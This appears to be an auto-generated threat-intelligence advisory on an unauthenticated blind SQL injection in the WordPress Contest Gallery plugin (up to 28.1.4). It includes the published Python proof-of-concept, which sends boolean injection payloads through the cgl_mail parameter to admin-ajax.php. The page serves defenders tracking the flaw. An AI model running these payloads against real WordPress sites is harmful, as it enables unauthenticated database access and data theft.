WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection
WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection
AI Analysis
Technical Summary
The WordPress Contest Gallery plugin versions up to and including 28.1.4 contain an unauthenticated blind SQL injection vulnerability. This security flaw allows attackers to inject SQL queries without authentication, potentially leading to unauthorized data access or modification in the backend database. The vulnerability affects installations running on Docker environments with PHP 8.2, Apache, and MariaDB. Exploit code has been published in Python, facilitating exploitation attempts. No patch or official remediation guidance is currently documented.
Potential Impact
Successful exploitation of this vulnerability can lead to unauthorized access to or manipulation of the plugin's database. This could result in data leakage, data corruption, or further compromise of the WordPress site. Because the vulnerability is unauthenticated, attackers do not need valid credentials to exploit it, increasing the risk and ease of attack.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory at https://contest-gallery.com or the WordPress plugin page for current remediation guidance. Until an official fix is available, consider disabling or removing the affected plugin version to prevent exploitation. Monitor official sources for updates.
Indicators of Compromise
- exploit-code: # Exploit Title: WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection # Google Dork: N/A # Date: 2026-06-02 # Exploit Author: cardosource # Vendor Homepage: https://contest-gallery.com/ # Software Link: https://wordpress.org/plugins/contest-gallery/ # Version: <= 28.1.4 # Tested on: Docker - PHP 8.2/Apache + MariaDB (WordPress Environment) # CVE: 2026-3180 """ Description A Blind SQL Injection vulnerability exists in Contest Gallery versions 28.1.4 and earlier. The issue is caused by the unsafe use of the cgl_maili parameter, where sanitize_email() preserves the single quote (') character in the local part of an email address. As a result, user-controlled input reaches wpdb->get_row() without proper parameterization via prepare(), allowing unauthenticated attackers to perform boolean-based blind SQL injection. Authentication Required: No """ import requests import json NONCE = " " URL = "http://localhost:8080/wp-admin/admin-ajax.php" endpoint = "/wp-admin/admin-ajax.php" url = "http://localhost:8080/" payload = "'OR/**/1=1#@teste.com' and 'OR/**/1=2#@teste.com" def send_payload(mail): data = { "action": "post_cg1l_resend_unconfirmed_mail_frontend", "cgl_mail": mail, "cgl_page_id": "1", "cgl_activation_key": "", "cg_nonce": NONCE, } return requests.post(URL, data=data) r_true = send_payload("qualquer'OR/**/1=1#@teste.com") if r_true.status_code == 200: status_code = r_true.status_code banner = f""" CVE : 2026-3180 | Contest Gallery 28.1.4 : Boolean SQLi payload :........................{payload} end point :........................{endpoint} url :..............................{url} status :...........................{status_code} nonce :............................{NONCE} """ print(banner) print(f"Body length: {len(r_true.text)} chars") poc =f'''\nmariadb wordpress_db -e " SELECT * FROM wp_contest_gal1ery_create_user_entries ORDER BY Tstamp DESC LIMIT 1115;"''' print(poc)
WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection
Description
WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection
Affected software
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The WordPress Contest Gallery plugin versions up to and including 28.1.4 contain an unauthenticated blind SQL injection vulnerability. This security flaw allows attackers to inject SQL queries without authentication, potentially leading to unauthorized data access or modification in the backend database. The vulnerability affects installations running on Docker environments with PHP 8.2, Apache, and MariaDB. Exploit code has been published in Python, facilitating exploitation attempts. No patch or official remediation guidance is currently documented.
Potential Impact
Successful exploitation of this vulnerability can lead to unauthorized access to or manipulation of the plugin's database. This could result in data leakage, data corruption, or further compromise of the WordPress site. Because the vulnerability is unauthenticated, attackers do not need valid credentials to exploit it, increasing the risk and ease of attack.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory at https://contest-gallery.com or the WordPress plugin page for current remediation guidance. Until an official fix is available, consider disabling or removing the affected plugin version to prevent exploitation. Monitor official sources for updates.
Technical Details
- Version
- <= 28.1.4
- Vendor
- https://contest-gallery.com
- Application
- https://wordpress.org/plugins/contest-gallery
- Author
- cardosource
- Platform
- Docker - PHP 8.2/Apache + MariaDB
- Edb Id
- 52609
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection
# Exploit Title: WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection # Google Dork: N/A # Date: 2026-06-02 # Exploit Author: cardosource # Vendor Homepage: https://contest-gallery.com/ # Software Link: https://wordpress.org/plugins/contest-gallery/ # Version: <= 28.1.4 # Tested on: Docker - PHP 8.2/Apache + MariaDB (WordPress Environment) # CVE: 2026-3180 """ Description A Blind SQL Injection vulnerability exists in Contest Gallery versions 28.1.4 and earlier. The issue is... (1502 more characters)
Threat ID: 6a234b62e29bf47b50cd7c41
Added to database: 06/05/2026, 22:19:14 UTC
Last enriched: 08/15/2026, 05:02:48 UTC
Last updated: 09/14/2026, 02:20:09 UTC
Views: 299
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.